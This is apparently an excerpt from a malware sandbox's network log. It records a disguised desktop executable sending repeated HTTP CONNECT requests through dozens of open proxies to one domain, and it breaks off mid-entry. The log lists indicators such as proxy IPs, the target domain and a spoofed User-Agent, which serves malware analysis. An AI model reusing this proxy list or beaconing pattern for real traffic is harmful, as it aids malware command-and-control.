Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.11	51427	104.16.105.207	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.602214098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.756617069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.11	51567	43.134.238.25	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.606723070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.11	51569	43.134.238.25	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.608664989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.11	51570	43.134.238.25	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.610281944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.11	51351	120.78.191.68	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.663213968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.022739887 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.11	51424	23.95.209.142	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.664164066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.11	51380	5.252.23.220	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.665071011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.11	51452	172.67.182.165	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.665072918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.819494009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.11	51368	185.217.143.23	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.665374994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.004523039 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.11	51478	185.162.230.178	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.665700912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.820246935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.11	51481	185.162.231.226	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.665764093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.819927931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.11	51356	202.162.219.10	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.666193008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.11	51488	104.16.109.213	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.668821096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.823323011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.11	51492	172.67.219.60	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.669909000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.824369907 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.11	51494	172.67.3.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.672122955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.826389074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.11	51413	174.77.111.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.707660913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.11	51023	199.102.104.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.708102942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.11	51451	45.196.151.134	5432	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.708102942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.924737930 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.11	51373	103.118.44.136	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.713412046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.485414982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.11	51432	72.195.34.60	27391	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.713500977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.11	51445	92.204.135.37	34824	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.714000940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.282264948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.047171116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.532556057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.439152956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329618931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.11	51469	38.54.6.39	9080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.722718954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.942477942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.11	51419	46.35.9.110	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.722920895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.11	50896	194.4.50.62	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
